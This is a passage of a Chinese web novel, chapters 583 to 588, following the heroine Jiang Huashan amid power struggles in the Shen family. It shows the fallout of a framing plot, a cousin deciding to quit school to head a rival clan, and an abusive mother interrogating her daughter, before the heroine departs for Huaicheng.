“沈澈说会想办法把沈庄引出鲸港,到时候会制造出沈娇吸毒淫乱的假象,到时候我再里应外合把消息坐实,如此就能让沈娇身败名裂。” “糊涂啊!”别说周国潮,听了周元正的自述,就连周元白都气得怒不可遏,“那沈澈是什么人?他的话你也敢信?他把沈庄引出鲸港,杀人栽赃的事却让你来做,这不是把咱们周家当枪使?!” 周元正立马解释,“杀人的并不是我,沈澈说二房一直觊觎沈娇的财力,只要让沈娇陷入危机,沈谦和沈渊一定会趁火打劫,到时候我们就可以坐收渔翁之利。” 周国潮抬眸,面无表情,“什么渔翁之利?” 周元正瞟了周老爷子一眼,小声道,“之前都是因为有沈谦从中作梗我才迟迟入不了国会,若是有了沈谦谋害沈娇的证据就能把沈谦从议员长的位置拽下……” “蠢货!”周国潮抬手一甩,案几上的物件噼里啪啦甩了一地。 周元正脸色难看,立马噤声。 “沈谦之所以能坐上那个位置是因为他是沈家人,就算没有沈谦,也会有下个沈家人。你要想把沈谦拉下来,有效的方法不是杀沈娇,是杀沈庄!问题是你有这个能耐吗?” “你挪动公款,算计沈家,这些我都可以不跟你计较,但你有本事做就要有本事擦干净屁股,现在被人指着鼻子打脸,打的是我周家的脸,你个不孝东西,老子的脸今天都被你丢完了!” 周元正眼皮跳了跳,无地自容,“爸,我知道错了!求求您替我想想办法,我好不容易坐上总署厅长的位置,要被沈家踢出局我以后该怎么办?” 见上位者无动于衷,他跪着爬上前抱着周国潮的腿苦苦哀求,“爸,沈庄这是要削弱打压我们周家,您千万不能让他得逞啊!” 周国潮怎么都没想到自己竟然生了个软骨头,一脸嫌弃踢开周元正,“当初沈谦能从南湾爬上来你怎么就不行?你要不行就给我滚出周家,少来碍我的眼。” 以沈庄的性格,周元正继续留在鲸港或许会有性命之忧,周国潮正是想通了这点才咬牙舍弃了总署厅长的位置,但周元正竟然半点都不明白他的苦心,不管是作为父亲还是一家之主,他对这个儿子都失望透顶。 周元正还想再求情,一直沉默不语的周宴珩忽然上前,不轻不重拖着他的胳膊,“二叔,留得青山在不愁没柴烧,听说北湾现在都下雪了,您就当去那度个假?” 北湾是周家的发迹之地,沈谦被辞退议员长后回南湾蛰伏几年依旧楼台高筑,周宴珩这是在提醒他可以效仿沈家之路。 周元正神情复杂,小心翼翼打量周国潮。 周国潮不置可否,“活了一大把年纪了,还不如一个小辈懂事,给我滚出去。” 周元正脸色讪讪。 周宴珩十分体贴把人扶上轮椅,“爷爷,我送送二叔。” 周国潮冷着脸没有回应,周宴珩笑了笑,自作主张推着周元正出了出厅。 刚出大厅,管家立马上前接手,周宴珩摆摆手,“不用。” 周元正原本脸色灰白,见状立马对周宴珩好感大升,都说墙倒众人推,他如今失势周宴珩还待他礼遇有加实在难得。 他勉强打起精神,轻轻拍了拍周宴珩的手背,“阿珩,刚刚多谢了。” “二叔客气了。”周宴珩神情温和,“不过事情闹成这样,沈家人一定不会善罢甘休,二叔这段时间还是小心点为好。” 周元正脸色顿时又沉了下去,“削我官职又断我双腿,沈家还想怎么样?有本事去找杀人灭口的那个啊!” “到了。”周宴珩停下脚步,顺手将轮椅交给一旁的管家。 周元正颇为不舍拜拜手,“阿珩,你要是来北湾玩记得找二叔。” 周宴珩笑了笑,微微颔首转身走进夜幕。 刚入内院,口袋里的手机发出震动,看了一眼顺手接通。 电话那边的声音带着几分湿冷,“怎么样了?” 周宴珩,“他们没有起疑,看样子我爷爷暂时不会再查了,不过,你爷爷那边就说不定了。” 那边沉默了片刻,再次开口,“沈亦泽死了。” 周宴珩颇为头疼捏了捏眉心,“都说了不要开枪,他们非是不听,我能有什么办法?” “沈亦杰现在的状况很危险。” 周宴珩,“那就想办法让他冷静一点。” 对方再次陷入沉默。 周宴珩,“挂了。” “等等。”对方制止,“你那边查得怎么样了?” “嗯?” “去南湾一趟惹上那么大的麻烦可不是你的风格,周宴珩,你该不会玩过头了?” 周宴珩笑了笑,“我还没开始玩。” …… 第583章 前世因果 翌日。 姜花衫特意起了个早床,穿戴整齐兴冲冲下楼。 原本她打算先去兰园找沈兰晞,然后再跟沈庄说要去淮城的事,不想刚拉开院门,门口就站着个不速之客。 姜花衫愣了愣,“沈清予?” 沈清予抬眸看了她一眼,“要出去?” 姜花衫往兰园的方向看了看,点头,“找兰晞哥问点事,你找我?” 又是沈兰晞。 沈清予眸色的戾气一闪而过,随即又装出一副若无其事的样子,“嗯。” 姜花衫略有些犹豫,往后退了一步,“那进来说?” 沈清予点头,跟随她的脚步入院,张茹听见动静,连忙从厨房跑了出来帮着张罗桌椅。 姜花衫摆摆手,“不用不用,你忙你的去。” 张茹笑着应好,朝沈清予点了点头转身进了厨房。 “吃早餐了吗?张妈做了好多面点。” 沈清予摇头,目光落在她带笑的嘴角上,“张茹回来你很开心?” 姜花衫愣了愣,摆摆手,“还好。” 沈清予,“开心就是开心,不开心就是不开心,什么叫还好?什么时候你跟我说话也藏着掖着了?” 姜花衫嘴角的笑容渐渐凝固,“你吃炸药了?” 沈清予用脚勾着椅子入座,抬头,双手抱胸看着她,“为什么沈兰晞可以,我不可以?” 姜花衫立马反应过来, 眉头微皱,“那件事情况特殊,我没有办法,我只信沈兰晞。” 沈清予说不上自己是什么心情,听闻未央台出事,他什么都顾不上了,为了表明自己的立场甚至还对自己的父亲开了枪,最后换来的却是姜花衫一句,只信沈兰晞。 那他呢? 他又算什么? 沈清予自嘲笑了笑,低闷的声音似在胸前压抑了许久,“你不是只信他,是单纯地相信我,那天若是换成沈归灵,你还会阻止他上楼吗?” 姜花衫想了想,犹豫了片刻,摇头,“不会。” 沈清予心中醋意乱地起飞,蹭得一下起身,点着她的额头咬牙切齿,“姜花衫,你好样的!我是看出来了,你是纯心想气死我!” 姜花衫皱眉,一把拍下他的手,“你气什么?我不想让你为难有错吗?” “我为什么难?你有没有心啊,这些年二房三房那些腌臜事,我哪次不是向着你?” “那你这次为什么不在?”姜花衫反问,“我回来找过你的,可是你不在梅园,我给你过电话,但是联络不上,沈清予,你去哪了?” 沈清予愣了愣,上一秒心口还是酸的,这一秒就变成了苦味。 他在哪? 沈清予避开她的目光,一时不知道该怎么回答。 姜花衫,“我替你回答,你去了顾家?” 沈清予生怕她误会什么,神情有些慌乱,“那是因为婆婆她……” “我知道,听爷爷说了,顾老太太突发心悸晕过去了,你在医院守着她。” 沈清予眼睑微动,不期然又被她的目光吸引,“你是不是生气了?” 姜花衫摇头,“这是你的孝义,我怎么会因为这个生气?顾老太太一心为你着想,她有危险你理所应当要承担你的责任。可是……这就是我不能相信你的原因,你能明白我在说什么吗?” 沈清予说不上什么心情,只觉得心里空落落的。 其实他隐隐有些察觉到什么了,只是他不想相信,今天这些话但凡换个人跟他说,他都能把这个人打出血。 但偏偏是姜花衫,最能戳他刀子的人。 姜花衫轻叹了一声,“清予哥,如果,我是说如果,顾老太太和爷爷之间要你选一个,你会选谁?” 沈清予脸色难看,“我不想回答这种假设的问题。” “行,那换个问题,如果顾家设计谋害了爷爷,你会怎么做?” 沈清予,“我说了,我不回答这种……” “我替你回答,你会跳下鲸港河,以最决绝的方式报复他们。” “……” …… 第584章 沈清予的选择 但是沈清予,鲸港河又阴又冷,你为了心中的情义让自己尸骨无存,真的值得吗? 沈清予僵愣在原地,肆意上扬的丹凤眼仿佛在一瞬间被夺走了所有锐气,没有人知道这句‘你会跳下鲸港河’对他的杀伤力有多大,这一瞬间他的灵魂好像被什么撞了出来,沉默在深不见底的海水里,世界寂静无声,唯有他与死亡对望。 那是冰冷、绝望、了无生趣的一生。 过了许久,他忽然感觉到掌心有一点温热。 那温热在寂静的黑暗里渐渐扩散,冰冷的海水连同濒临绝望的死意一并退去。 沈清予慢慢恍神,垂眸看着掌心。 他的掌心被送进了一杯温茶。 他盯着手里的茶汤,回荡的水纹不觉又让他想起方才置身海底的幻境, 顾家这几年在西湾频频有大动作,又与西湾地方州长豪绅往来密切,老太太在谋划什么他怎么会真的不懂。在这名利场,父子、兄弟、夫妻之间都能因利反目,又何况是两族异姓?所以对于老太太为家族谋划的晋升之路他自觉并无指责的立场。 其实,他并非毫无察觉,从老太太提出想接回顾家那刻他就知道沈、顾两家定会有竞争关系,如若不然也不会绞尽脑汁想让他把情分转回顾家。而他留下沈家,除了沈庄之外,更是想作为中间枢纽,维持好两家友好竞争的平衡。 但姜花衫一席话彻底粉碎了他的侥幸,让他再不能自欺欺人。 权势斗争尔虞我诈、生杀抢夺,哪有什么公平竞争? 就好比这次的未央台,虽然他已经极力控制自己不要怀疑顾家,但那么多恰合时宜的巧合实在很难让人信服。 沈清予低头抿了一口茶汤,温热的液体顺着喉腔流入五脏六腑,神经的末梢的血液快速流走传来酥麻的感觉。他放下茶杯,再抬眸时已经看不出任何情绪。 “我不会让这个可能性存在的。” 姜花衫略有不解,“什么?” 沈清予起身,弯腰牵起姜花衫的手,将手里的茶盏放进她的掌心。 “顾家敢伸刀我就砍了顾家的刀,你总有信我的一天。” 他声音刚落,院里送来一阵秋风。 眼前的世界渐渐转变成了成千上万块像素片,它们像拧动魔方一样开始旋转,天空的蓝变成了湖面的倒影,远处青黛变成了眼前的藤蔓,它们无序被打乱着,这一瞬间好似任何事物都失去了定义。 姜花衫入迷看着眼前的世界,这是她打乱的世界。 从经历沈娇之死后,她对一个一个要改变的宿命感到厌烦,或许一开始她就错了,她从回来之后就一直忙忙碌碌,想着改变这个改变那个,潜移默化的意识里,她把自己当成了改变未来的救世主。 但其实她并不能救赎谁,她还是跟所有人一样,只是这个世界的经历者,唯一不同的是她在未来经历过去。 既然都是经历者,就没有任何高低贵贱,不仅仅是她,所有人都可以改变自己的命运。 界剧目规则四:本世界剧情不接受除剧目之门以外的任何力量更改。 这些规则本身就是牵动傀儡的绳索,她都已经要改变命运,为什么还要遵守所谓的剧目规则了,这些规则本身就是陷阱,真正的自由应该不被任何规则定义,她只要还现在规则里,就永远无法打破这个世界的秩序。 她应该相信他们,他们不需要被救赎,他们可以成为自己的救赎。 等姜花衫从眼前的幻境中醒来,沈清予已经走了,她不知道他什么时候走的,但因为这场谈话她暂时没了去找沈兰晞的心思。 下午,姜花衫去冬园看望沈娇,原本聊得正开心,冯妈急急忙忙跑了进来。 沈娇恢复得很好,起色也比刚醒来时好了一大截吗,她看了冯妈一眼,语气随意,“出什么事了?” 冯妈目光在姜花衫和傅绥尔之间游离的一圈,轻叹了一声,“沁园闹起来了。” 沈娇皱眉,“闹什么?” 冯妈,“清予少爷要退学,说是不想走仕途之路,沈二先生因此勃然大怒在沁园闹了起来。” “退学?!”姜花衫愣了愣,不可置信看着冯妈。 * 此时的沁园,鸡飞狗跳。 沈渊因为动气打了桌椅,肩上的伤口被拉开隐隐透着血色,他粗粗喘着气指着沈清予,“你再敢说一遍,信不信我打断你的腿!你真当我管不了你了?” 沈归灵和沈兰晞神色各异,不动声色看着跪在堂前的沈清予。 沈清予额角渗着鲜血,腰身挺得笔直,他全程都没有把沈渊放在眼里,眼神偏执看着沈庄。 沈庄放宽语气,“你跟爷爷说说,为什么要退学?” “你敢退,老子……” 沈庄按了按额角,忍无可忍提起手里的拐杖指着沈渊,“我给老子闭嘴!我还没死,容得下你在这喊打喊杀?” “爸!” 沈谦唯恐沈渊再惹怒老爷子,立马起身拉住他,“你先冷静点,爸不是在处理吗?” 沈渊脸色难看至极,为商者轻贱,哪怕他现在的商业帝国无能能撼动,但在沈谦和沈玺面前总是低人一等,所以他做梦都希望沈清予能走仕途,能手握生杀予夺的权杖,但现在沈清予却要退学,这让他无论如何都接受不了,否则他也不至于在老爷子面前失态。 “爸,您劝劝他。”沈渊不敢造次,只能把希望寄托在沈庄身上。 沈庄懒得理他,摆摆手,“你们都先出去。” 众人立马起身回避。 待人退散,沈庄站起身走下堂前,亲手将沈清予扶了起来,“跟爷爷说说,发生什么事了?” 沈清予抬眸,目光剑刃如出鞘宝剑,“爷爷,我做顾家家主如何?” 沈庄怔然,平静无波的眸底好似被风吹皱的湖面。 “我想通了,你和婆婆我未必只能二选一,只要权利握在我手中,这一切就能迎刃而解。我一直谨记爷爷的教诲,所以我的剑绝不会指向自己人。” 沈庄沉默了许久,缓缓开口,“清予,你会很辛苦的。” “我不怕。” …… 第585章 被拨乱的情绪 沈清予下午说要退学,第二天学校的申请就下来了,沈家没有人知道沈清予是怎么说服老爷子的,只知觉得这爷一定是孙俩疯了。沈渊首当其冲,气得失了理智又去沁园大闹了一场,结果被沈庄直接赶出了沈园。 下午,顾家老太太登门造访,但出人意料的是沈庄一反常态闭门谢客,这在以前从未有过。老太太琢磨不透沈家的心思,转头去了梅园,也不知道顾家老太太跟沈清予说了什么,最后竟然说服了沈清予去顾公馆小住。 原本就已经近乎崩溃的沈渊听闻沈清予又被顾家拐跑了,气得差点当场去世。 “二伯真可怜,清予哥就是他这辈子劫,哈哈哈。”傅绥尔一脸幸灾乐祸,从未央台事件后,二房和三房算是彻底撕破了脸,现在连表面的平和都维持不下去了。 沈眠枝关注的点与傅绥尔不同,不解看向姜花衫,“清予哥怎么会突然退学?你知道吗?” 姜花衫摇头。 她虽然不是很明白沈清予要做什么,但她知道,沈清予这么做一定有他的用意。 上一世,沈清予因为爷爷偏爱沈兰晞选择的顾家,因此跟爷爷离了心,这一世沈清予虽然还是跟顾老太太回了顾公馆,但她知道,剧情已经发生了偏移。 果不其然,她念头刚起,脑子里便传来久违的电子音。 -【叮——】 -【提示:由于当前人物姜花衫篡改剧情章节导致人物轨迹发生偏移,现已为您重新生成剧目。】 -【警告:当前主线偏离已经超过69%】 -【警告:主线偏离90%,剧目世界将毁于一旦。】 姜花衫抬头,望着眼前碧空如洗的天空,她已经开始期待被毁于一旦的剧目世界会有怎样的新篇? * 未央台的事件虽然暂时告了一段落,但善后的工作还在继续,其中,最有争议的就是如何处置沈澈?为此,沈庄不止一次找沈兰晞和沈归灵去沁园喝茶,一连五日,出入沁园的人就没有断过,这些人形形色色什么职位都有。 直到第六天,沁园终于安静了下来,姜花衫掐着点给沈庄送茶点,沈庄一连忙了几天,好不容易看见姜花衫心情大好,眉宇间的疲惫也淡了不少,招手将示意她走近些。 “找爷爷有事?” 姜花衫点头,端出瓷碗,“张妈做的桂花糖水。” 沈庄眼神略有些恍惚,笑容复杂,“小花儿,这段时间你受委屈了。” “委屈什么?要不是爷爷我现在还在乡下摸泥巴呢,哪能像现在这么要风得风要雨得雨,您是不知道,他们听说我是沈庄的孙女,恨不得当祖宗供着。” 沈庄明知姜花衫是在安慰自己,但还是忍不住笑了起来。 姜花衫看了沈庄一眼,略带几分试探,“爷爷,我有件事想跟您商量。” 沈庄接过糖水,“你说,想要什么爷爷都满足你。” 姜花衫,“我想回一趟淮城。” 沈庄指尖微顿,瓷勺砰的一下撞上碗壁发出极其突兀的脆响。 “爷爷?” 说起淮城好像是上辈子的事,周庄梦蝶,沈庄已经分不清自己是淮城的红楼少年,还是鲸港城里善算筹谋的掌权人。 他沉默片刻,静静放下瓷碗,神情宽和,“怎么忽然想回淮城了,是在这过的不开心吗?” “不是。”姜花衫连忙摆手,“奶奶的忌日快到了,我想去看看她。” 其实从刚刚回来她就一直想去淮城看看,但因为她不敢松懈所以迟迟没有下定决心,这次未央台的事件解决了,她放松放松。 “这样啊?”沈庄点了点头,“爷爷知道了,不过你一个人去爷爷不放心,我让兰晞陪你去?” “还别了,兰晞哥最不喜欢被人安排了,到时候又要不高兴了,爷爷,还是让沈归灵陪我去吧。” 沈庄并未觉得有什么不妥,正要点头,门外忽然传来一声清咳。 两人循声看去,这才发现沈兰晞手里拿着棋盒,面无表情站在厅外,高止站在他身后挤眉弄眼。 “……”姜花衫瞟了一眼,若无其事收回目光。 沈庄看了姜花衫一眼,笑着招呼,“兰晞,怎么在门口站着不动啊?” 沈兰晞的目光在姜花衫脸上停留了片刻,抬步入厅。 “这是唐大师亲手雕刻的黑檀棋。” 这几日沈庄因着家族之事心力交瘁,沈兰晞看在眼里,特意请人定了一套大师的绝版手制,原本是想讨沈庄欢心,但眼下忽然一点心情都没有了。 “乖。”沈庄笑呵呵接过棋盒,“正好,爷爷的棋瘾犯了,你陪爷爷练练手。” 沈兰晞点头,刚坐下,姜花衫蹭的一下起身,“那,爷爷就这么说定了,你们先下,我回去了。” 沈庄愣了愣,“打算什么时候走啊?” 姜花衫,“就这两天吧。” 沈庄思忖片刻点了点头,“行,爷爷安排。” “谢谢爷爷。”姜花衫摆摆手,拎着食盒转身蹦出了花厅。 沈庄见状忍俊不禁,笑着摇了摇头,“这孩子……” 正要摆棋,沈兰晞冷着脸起身,“爷爷,我忽然想起还有些事没有处理就不陪您下棋了。” “诶?” 没等沈庄反应,沈兰晞直接转头出了花厅。 * 出了沁园,姜花衫绕过阆苑抄小路回菊园,刚过垂花门忽然一只手拽着她的手腕,将她从门外拖了回去。 姜花衫反应极快,回身一脚对着身后之人的下体踹去。 沈兰晞眉心跳了跳,拉着她的胳膊在原地转了个圈,单手抵着她的背将她压在墙角。 “往哪踢?” 姜花衫愣了愣,回头见是沈兰晞,顿时气不打一处来,勾着腿对着沈兰晞一顿横扫,“放开我!!!” 沈兰晞看着西服裤上的一连串脚印,忍着脾气轻斥,“别踢了。” 他越说姜花衫踢的越狠,“你要再不松手我就告诉爷爷你欺负我!!!你等着挨鞭子吧!” 沈兰晞沉默半响,稍稍松开肩上的压力,“我有话问你。” 怎么个个都有话问? 姜花衫冷着脸,“你先松手,我手要断了。” 沈兰晞脸色微变,正要松手,眼前突然横插出一只手,那只手顺其自然揽过姜花衫的肩,将她带离出了他的掌控。 “……” …… 第586章 沈兰晞的怀疑 “兰晞哥,你越界了。” 沈归灵的笑带着几分锐气,冷白皮的肤色在阳光下特意晃眼。 越界? 沈兰晞眉头微蹙,深邃的眸光慢慢转移到了落在姜花衫的肩膀。 姜花衫万万没想到沈归这个时候会出现,侧头看了他一眼,默默甩开肩上的手。沈兰晞可不好糊弄,万一被他察觉到什么告到爷爷那里去,到时候可就麻烦了。 沈归灵对于姜花衫突然甩开他的手略有些不满,但他也没计较,脸上噙着几分笑,“手还疼吗?” 姜花衫原本就有几分心虚,听了这话立马有了主意,揉着肩膀嚷道,“我手要断了,我要去告诉爷爷。”说着推了沈归灵一把,转头窜进了垂花门。 角落的木槿开得正好,粉色的花苞垂在枝头迎风招展,逆风的斜影落在沈兰晞的侧脸,叫人看不清他眼里的情绪。 良久,他冷笑了一声,率先转身。 “兰晞哥。”沈归灵眼里的笑意渐渐凉薄,“离她远点。” 沈兰晞身形一顿,侧身,淡漠的眼瞳里带着不可一世的矜贵,“就凭你?” 这话从沈兰晞的嘴里出说已经算是很不客气了,不怪沈兰晞看不上沈归灵,权势之争最终比的是身后底蕴,即便沈归灵能力再强,在沈兰晞面前他也只是毫无根基的浮萍。 所以一直以来,沈兰晞都从未把沈归灵放在眼里,在他看来,沈归灵除了一张脸,要什么没什么,根本不足为虑。 但就是这么一个浮萍竟然敢威胁他?! 沈归灵摇头,“当然不是我,凭的是她的心意,兰晞哥难道看不出来吗?她一直都避着你。” 沈兰晞面上的矜贵因为这句话溃不成军。 沈归灵见目地已经达到,略带敷衍笑了笑,“谢兰晞哥成全。”说罢,颇有礼貌点了点头转身离开。 * “一个个都神神叨叨的。” 姜花衫伸着懒腰,一脚踹开菊园大门,“张妈,帮我收拾东西,我要出门几天。” 张茹听见动静,立马从厨房跑了出来,“小姐,您要去哪?” “淮城。” “淮城?”张茹愣了愣,“怎么这么突然?” “嗯,爷爷都已经答应了。”姜花衫一边应着一边跑上楼。 张茹见状连忙跟在后面追问,“要去几天啊?跟谁去啊?行程都安排好了吗?” 正说着,沈归灵从院外走了进来。 “张姨。” “阿灵少爷。”张茹立马收声,有些不好意思捂着嘴。 沈归灵点头往楼上看了一眼。 张茹立马接话,“小姐刚上去,说是要出淮城。” 沈归灵笑了笑,“你去忙吧。” 张茹对沈归灵的印象极好,丝毫没有觉得有什么不妥,点头应道,“好。” * “……她一直都避着你。” 另一边,沈兰晞站在墙角久久没有反应,耳边一直回荡着沈归灵的嘲讽。 高止躲在阆苑看了许久,终于忍不住探出头,“少爷,你还好吧?” 沈兰晞面上没有一丝情绪,并不回应。 高止小心翼翼靠近,“其实您不必在意沈归灵说什么的?他分明就是故意说那些话想气您的,你要真往心里去了才是着了他的道。” “高止……”沈兰晞缓缓垂眸,深邃的眼窝一片阴翳,“如果给你一次重来的机会,你会选择什么样的生活?” “啊?”高止愣了愣,菜鸡不会是气糊涂了吧?怎么会问出这么傻逼的问题? “我啊,当然还是会来找少爷啊!”吐槽归吐槽,马屁还是要拍的。 高止一本正经,“我到时候就利用我的先知能力为少爷荡平一切不平。” “呵……”沈兰晞忽然轻笑出声,隐藏在阴翳下的眸光亮的惊人。 为在乎之人荡平一切是真的,那为什么又要对他避如蛇蝎呢? 沈兰晞转身,脚步刚抬起,身形立马僵住。 他缓缓抬眸,动荡的眸光情绪难辨,“高止,你还记得五年前,从襄英回鲸港的路上,衫衫是怎么骂我的吗?” 又不是欠的,这种事谁还记得? 高止藏在墨镜后的白眼都快翻上了天,但面上确是恭恭敬敬,“少爷,我就记得一个塞。” 之所以记得还是归功于实在是骂的太难听,想不记得都不行。 沈兰晞摇头,她当时说的是:“沈兰晞,你是不是拜佛拜傻了?一点慈悲之心都没有?活该你孤家寡人,老婆移情别恋跟别人跑了,二十七岁还是童子鸡!!!” 当时只觉得她是个疯子,所以并未深究。 可若她真的从来时来,这些是不是就是她疏远他的理由? 他结婚了,但他的妻子不喜欢他,所以他和妻子没有夫妻之实。 “……” 真是荒谬。 沈兰晞闭了闭眼,这些怪力乱神之事他向来是不信的,怎么因为她屡屡心存侥幸? 正要抬步,沈兰晞的脑子里忽然灵光一闪,身体再次僵住,霍然睁眼,眸底满目流光。 假设…… 假设她是信仰之外的存在,假设他未来已经结婚,假设他的妻子不爱她,假设这一切都成立,那她又是怎么知道他和她的妻子不曾有过夫妻之实? 这种事除了当事人还会有谁知道? 沈兰晞转身,目光落下菊园的方向。 他的妻子……是她? …… 加更:贴一张书粉宝宝AI生成的沈归灵 第587章 ‘慈母\’与蛇 “叩叩——” “进。” 门外传来敲门声,姜花衫以为是张茹上门来收拾行李,随口应了一声 房门从外推开,地面投射出一道颀长的影子。 “什么时候去淮城?” 姜花衫愣了愣,回头便看见沈归灵背靠着门页,目光缱绻看着她。 “你怎么来了?”姜花衫左右看了看,一脸警惕跑上前,“沈兰晞呢?跟过来没有?” 沈归灵低垂着眼睑,眸光里的笑意愈发温和,“你很在意他?” 在意个屁! 沈兰晞的脑子不比沈归灵差,她只是担心透露太多蛛丝马迹会被他抓住小辫子,沈兰晞那人虽然古板但手段还是有的,他上一世就怀疑她和二房勾结陷害了爷爷,万一被他发现她和沈归灵秘密联盟搞事,说不定又会被他赶出沈园。 “你不懂。”这种事她不想解释,便摆摆手。 沈归灵盯着她的眼睛看了一会儿,稍稍收敛了敌意,嘴角的略微翘起,“我刚刚去沁园,爷爷说你让陪我一起去淮城?” 上次在医院,姜花衫提起过这件事后他就记在了心里,回来便把淮城的地图背了下来。虽然已经有了心理准备,但听闻姜花衫指名选的他还是忍不住地高兴。 这笑怎么这么晃眼? 姜花衫有些不自在撇过头,避重就轻,“你赶紧回去收拾吧,我跟爷爷说好的,明天就出发。” “好。”沈归灵并未过多停留,转身拉开房门。 恰巧这时张茹从楼下上来,见沈归灵从房间出来,热情打招呼,“阿灵少爷,您回去了?” 沈归灵神情温和,“刚刚从沁园过来见爷爷在吃糖水,说是张姨你做的,南湾没有这种小吃,我看着觉得新鲜,不知道能不能尝尝张姨的手艺?” 张茹有些受宠若惊,连忙应口,“我那还备了很多,阿灵少爷要是不嫌弃我待会给您送过去?” 沈归灵颔首,面带微笑,“那就麻烦了。” 张茹,“不麻烦不麻烦。” 姜花衫斜坐在沙发上,等了一会儿才看见张茹笑容满面走了进来。 “你刚刚跟沈归灵说什么呢?” “阿灵少爷说想吃我做的糖水,我答应他待会儿给他送过去。” 张茹驾轻就熟走进衣帽间,挑了个尺寸差不多的行李开始打包,稍稍整理了一会儿,实在没忍住摇了摇头,“阿灵少爷真是不错,不光温柔对我们这些底下人也很是尊重。” “他每次来菊园都是先告知我,待的时间也不长,一看就是花了心思。细心又体贴,像阿灵少爷这样的男生真是不多见,小姐,您说是不是啊?” “……”姜花衫捏了捏眉心,算了,就张妈这种识人的眼光还是养在身边比较放心。 * 翡翠山庄。 “怎么办?!接电话……接电话啊……” 姜晚意双手颤抖,眼里满是惊恐看着一直显示拒收的消息提醒,从一个星期前,她就联系不上姜花衫了,电话、消息全部石沉大海。 “为什么?为什么?!” 姜晚意怔怔看着地板上的时政报刊,头条照片是七天前政府广场的千人暴动,其中站在车顶的少女意气风发是万众瞩目的焦点。 “啊啊啊!”她捂着耳朵,死死看着荧幕前的姜花衫,“为什么她没有去找方眉?” “哒哒——哒哒——” 房间外,高跟鞋的声音逐渐逼近。 姜晚意脸色骤变,赶紧将手机关机藏进床底。 “吱呀——” 房门渐渐打开,姜晚意的脸上瞬间被恐惧侵占。 方眉双手抱胸站在门外,眼眸没有昔日半分温情,“你想好了怎么给我交待吗?” “妈!”姜晚意哭着爬上前抱住方眉小腿,“我真的不知道家里为什么会有监控,我真的不知道。” 方眉蹲下身,一把钳住她的下巴,“这家里除了你就是我,不是你还有谁?姜晚意,你胆子真是越来越大了?竟敢监视我?” 姜晚意想着一点点石沉大海的消息,心知她已经被姜花衫抛弃了,咬了咬牙哭着喊道,“是姐姐!” 方眉皱了皱眉,“你说那死丫头?” “上次姐姐突然造访,明面上是来给我撑腰,实际就是为了在屋里安放监控的。” 监控的事姜晚意其实并不知情,之所以指认姜花衫不过是知道自己被抛弃了想为自己找条活路,现在方眉怀疑监控是她的手笔,如果不能找出更值得怀疑的对象,她的下场必定凄凉。 “啪——” “你个吃里扒外的白眼狼。”方眉怒极,甩手一把扇了过去,“你别忘了你是靠谁才有了今天,竟然敢跟那小贱人联合算计我?!难怪那小贱人愿意保你出警署厅,原来你早就把我卖了?” “我没有!”姜晚意哭着捂脸,“姐姐的确是想收买我,但是我没有同意。” “你还敢说谎?!”方眉勃然大怒,大声呵斥。 “我没有说谎。”姜晚意全身颤抖,但她知道这个时候绝不能心生退意,泪眼婆娑看着方眉,“我要是真的跟她合作,现在早就在沈园了,怎么还会在这?” 方眉眯了眯眼,一把抓住姜晚意的头发,迫使她抬头看着自己,“说,那死丫头在密谋什么?” 姜晚意不敢挣扎,呜咽的一声开口道,“姐姐怀疑你和沈家其他人勾结打算对沈娇不利,她要我看着你,随时注意你的一举一动。” “所以是你告诉她我会去未央台见沈娇?”方眉语气幽深,加紧掌心的力。 “啊!”姜晚意惨叫一声,一边哭一边大喊,“我没有!我如果说了姐姐一定会找人对付你,你是我的妈妈我怎么可能做出这种事?但姐姐深得老爷子阴信我也不敢得罪她,所以只得阳奉阴违。” “妈妈,我说的都是真的,我敢对天发誓,如果我有半句虚言就让我不得好死!” 方眉盯着姜晚意的脸细细审视,过了许久像丢垃圾一样把她丢开,“这么说,你还是很听我的话?” 姜晚意重新爬了起来,死死抓着方眉的裙摆,“妈妈,我知道错了,我知道你所做的一切都是为了我好,我听你的,我都听你的。” 方眉静静看着脚下的少女,过了许久,她抿嘴笑了笑,重新挂上了慈母面具。 “这就对了,做母亲的哪有不为孩子考虑的?你那个姐姐就是死脑筋,你可不能学她,否则……” 方眉笑着摸上姜晚意的脖子,“妈妈会很伤心的。” …… 第588章 出发淮城 翌日清晨。 姜花衫难得早起,张茹在庭院张罗早餐,刚刚消食雷行掐着点登门搬行李。 张茹实在没忍住又把沈归灵从上到下夸了一遍。 姜花衫摇了摇头,“能不能消停?你都夸一天了,我耳朵都起茧子了。” 昨天张茹给竹园送糖水时,沈归灵特意给了她几盆自己种的香料,要是别的东西张茹早拒绝了,偏偏这东西不算贵重又能激发食材特性,简直是为她量身定制一般。张茹捧着香料回来后就对沈归灵赞不绝口。 “好好好,我不说了。”张茹顺毛摸,“小姐,您出门在外一定要警惕,阿灵少爷细心又懂照顾人,您凡事多跟他商量。” 姜花衫,“……” 出了菊园的门,正好看见沈娇带着一群人推着大大小小的行李从廊下走来, 姜花衫脸色微变,立马跑上前,“您怎么亲自来了?医生不是交代要好好休息吗?” “我自己的身体我知道,倒是你,去襄英这么大的事也跟我商量商量?”沈娇故作生气睨了她一眼,指着身后十几个行李箱,“出门在外不能委屈自己,这是我替你准备的东西。” “……”一想到南湾衣帽间柜子里的陈列,姜花衫眼皮跳了跳,“不……不用了!” “必须收下!”沈娇一副没商量的语气,“去哪也不跟我商量,我备的东西也不要,这是存心让我不安生?” 若是从前沈娇都这么说,姜花衫必然是退让的,但她这次是去看奶奶的,实在不想随手掏出个按摩棒,难得的强硬,“真的不要了,车里塞不下。” “这好办,我包个机先把行李拖过去。” “……”姜花衫扶额。 “姑姑一番心意,你就收下吧。” 两人正僵持,沈归灵从另一边的廊庑走了过来。 姜花衫嘴角抽搐,目光随着他的靠近愈发幽暗。 沈归灵却好似没看见她,笑盈盈朝沈娇点了点头,“姑姑气色看起来好多了。” 沈娇看了姜花衫一眼,见她的眼睛都快“黏”在沈归灵身上了,不觉皱了皱眉略带警告,“衫衫心思单纯,你凡事多迁就她点。” 沈归灵转眸,目光缱绻对上姜花衫的威胁,“一定。” 姜花衫,“……” 沈娇轻叹了一声,抓着她的头扭向自己,“行了!马上就要出远门了,就不能先好好跟妈妈道个别吗?” 姜花衫笑了笑,“……能。” 一行人出了内院转向沁园,刚过内湖正好遇上前来报信的郑松。 原本姜花衫是打算亲自向沈庄辞行的,但沈庄早上四点才睡下,这会儿不便打扰。 姜花衫心知沈庄是因为她要回淮城才辗转难眠,略有些不舍,“爷爷还说了什么?” 郑松,“老爷子让您多听阿灵的话。” 姜花衫,“……” * 庭院前的送行队伍异常壮大。 